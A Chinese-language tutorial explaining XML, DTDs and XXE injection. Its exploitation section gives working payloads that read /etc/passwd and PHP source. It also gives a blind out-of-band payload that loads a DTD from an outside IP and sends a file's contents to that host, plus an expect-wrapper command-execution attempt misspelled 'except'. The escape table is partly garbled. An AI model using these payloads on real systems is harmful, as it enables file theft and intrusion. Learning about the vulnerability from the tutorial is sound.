XXE
XXE 全称 XML External Entity Injection 外部实体注入漏洞
XXE 会发生在语言程序解析 XML 时,没有禁止外部实体的加载,导致的漏洞
漏洞触发点一般是可以上传 XML 文件的位置,没有就行过滤,导致可以加载恶意外部文件和代码,造成任意文件读取、命令执行等漏洞
XML
XML 是用于标记文件使其具有结构性的标记语言,可以用来标记数据、定义数据结构
XML 文档结构包括
XML 声明
DTD 文档类型定义(可选)
文档元素
XML 文档都由以下的构建模块构成
- 元素
- 属性
- 实体
- PCDATA
- CDATA
基本语法
- 所有 XML 都必须有关闭标签
- XML 都对大小写敏感
- XML 必须正确嵌套
- XML 文档必须有根元素
- XML 的属性值要加引号
- XML 中的空格会被保留,多个空格不会被合并为一个
特殊字符转义
| 字符 | 转义 |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
DTD
DTD 是XML文档的结构约束,用来定义 XML 文档的合法构建模块
DTD有两种用法
内部声明
直接写在XML文件内部
<?xml version="1.0"?> <!DOCTYPE bookstore [ 定义这个文档是bookstore类型的文档 <!ELEMENT price (#PCDATA)> 定义price元素为#PCDATA类型 ]> <bookstore> <price>1111</price> </bookstore>内部声明
定义在
.dtd文件中,XML引用<?xml version="1.0"?> <!DOCTYPE bookstore SYSTEM "bookstore.dtd">
DTD 语法
定义元素
<!ELEMENT 元素名 (内容模型)>定义属性
<!ATTLIST 元素名 属性名 属性类型 默认值>定义 DTD 实体(重点)
DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可内部声明或外部引用
实体又分为一般实体和参数实体
一般实体的引用方式
&实体名;参数实体只能在 DTD 中使用
%实体名;
内部实体
<!ENTITY 实体名 "实体值"> <!ENTITY marin "1"> <h1>&marin;</h1>外部实体
<!ENTITY 实体名 SYSTEM "URL"> <!ENTITY marin SYSTEM "file:///etc/passwd"> <h1>&marin;</h1>
XXE
支持的协议

漏洞利用
读取文档文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY marin SYSTEM "file:///etc/passwd">
]>
<root>
<show>&marin;</show>
</root>
利用伪协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY marin SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<root>
<show>&marin;</show>
</root>
无回显 XXE
请求 XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
%marin;
]>
<root>
1
</root>
服务器 dtd
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://101.35.151.42:8080/%file;'> ">
%dtd;
%xxe;
XXE的危害
任意文件读取
利用伪协议,可以读取文件
还分为有回显和无回显两种命令执行
php环境下,如果php有装expect拓展,就可以命令执行,但是默认没有安装<?xml version="1.0"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "except://ls"> ]>内网探测端口
XXE可以利用http://协议,可以发起http请求,探查内网的端口